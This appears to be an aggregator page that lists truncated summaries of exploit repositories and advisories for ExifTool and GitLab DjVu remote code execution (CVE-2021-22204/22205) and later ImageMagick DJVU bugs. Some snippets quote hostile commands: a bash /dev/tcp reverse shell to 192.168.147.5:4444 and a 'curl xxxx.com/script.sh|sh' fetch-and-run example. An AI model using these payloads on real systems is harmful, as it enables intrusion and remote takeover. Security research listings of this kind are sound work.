CVE-2021-22204

CVE-2021-22204 Description Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image Script Script Link Script usage: System cmd: bash CVE-2021-2204.sh "system'id'" happy.jpg Reverse shell bash...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE Original repos : https://github.com/CsEnox/Gitlab-Exiftool-RCE Creds to CsEnox. RCE Exploit for Gitlab 13.10.3 GitLab Workhorse will pass any file to ExifTool. The current bug is in the DjVu module of ExifTool. Anyone with the ability to upload an image that goes through the...

CVE-2021-22205

CVE-2021-22205 Fork of mr-r3bot/Gitlab-CVE-2021-22205 Introduction CVE-2021-22205: GitLab Unauthenticated Remote Code Execution Vulnerability Exploit Removed the dependency on djvumake & djvulibre, directly generates payload internally, can be executed on Windows platform. Usage 需要授权 python3...

exploit-CVE-2021-22204

Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description Improper neutralization of user data in the DjVu file format in...

Gitlab-Exiftool-RCE

Gitlab-Exiftool-RCE RCE Exploit for Gitlab 13.10.3 GitLab Workhorse will pass any file to ExifTool. The current bug is in the DjVu module of ExifTool. Anyone with the ability to upload an image that goes through the GitLab Workhorse could achieve RCE via a specially crafted file Usage python3...

Gitlab-CVE-2021-22205

Unauthenticated RCE on Gitlab version -c Tested on version 13.10.1-ce.0...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Tested Version Generate the exploit command echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Use djvumake to generate the exploit image import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444...

CLEANSTART-2024-VE33970 Improper neutralization of user data in the DjVu file format in ExifTool versions 7

Security vulnerability affects the perl-image-exiftool package. Improper neutralization of user data in the DjVu file format in ExifTool versions 7...

CVE-2021-22204

CVE-2021-22204 - Exiftool Remote Code Execution Description Recently, the researcher wcbowling found a vulnerability in the Exiftool tool, that enabled a malicious actor to perform a Remote code Execution attack. This vulnerability was found in the Gitlab bug bounty program, where they use this...

CVE-2021-22204

Vulnerable Version 7.44 12.23 Reproduce $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Screenshot Reference NVD-CVE-2021-22204...

CVE-2021-22205

CVE-2021-22205 Preauth RCE via exiftool on Gitlab CE/EE Summary of the CVE GitLab uses ExifTool to scan every tiff/jpeg/jpg file to remove any tags that are not whitelisted. But because ExifTool doesn't use file extensions to determine filetype but it rather uses the content of the file, which...

CVE-2021-22204

CVE-2021-22204 Summary of the CVE Improper sanitization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image. Affected Versions Version 7.44 - 12.23 Anomalies Dependencies: djvulibre-bin exiftool Calls these three...

dejavu

DejaVu This container runs a web application that analyzes images and returns their metadata using exiftool. Users send the application a URL to an image and the app will retrieve it, analyze it, and return the results. The version of exiftool used by the application is vulnerable to CVE-2021-222...

DjVuLibre-poc-CVE-2025-53367

1- WHAT IS DJVU. DjVu pronounced "déjà vu" a set of compression technologies, a file format, and a software platform for the delivery over the Web of digital documents, scanned documents, and high resolution images. DjVu documents download and display extremely quickly, and look exactly the same ...

SUSE CVE-2026-116147

ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a null pointer dereference in the DJVU decoder because the result of a memory allocation is not checked before use. Attackers can supply a DJVU image that, when processed under conditions where the allocation fails, crashes the process...

Linux Distros Unpatched Vulnerability : CVE-2026-116147

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a null pointer dereference in the DJVU decoder because the result of a memory allocation is not...

UBUNTU-CVE-2026-116147

ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a null pointer dereference in the DJVU decoder because the result of a memory allocation is not checked before use. Attackers can supply a DJVU image that, when processed under conditions where the allocation fails, crashes the process...

NULL Pointer Dereference

Overview Magick.NET-Q16-HDRI-x64 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package are...

NULL Pointer Dereference

Overview Magick.NET-Q16-OpenMP-x64 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package a...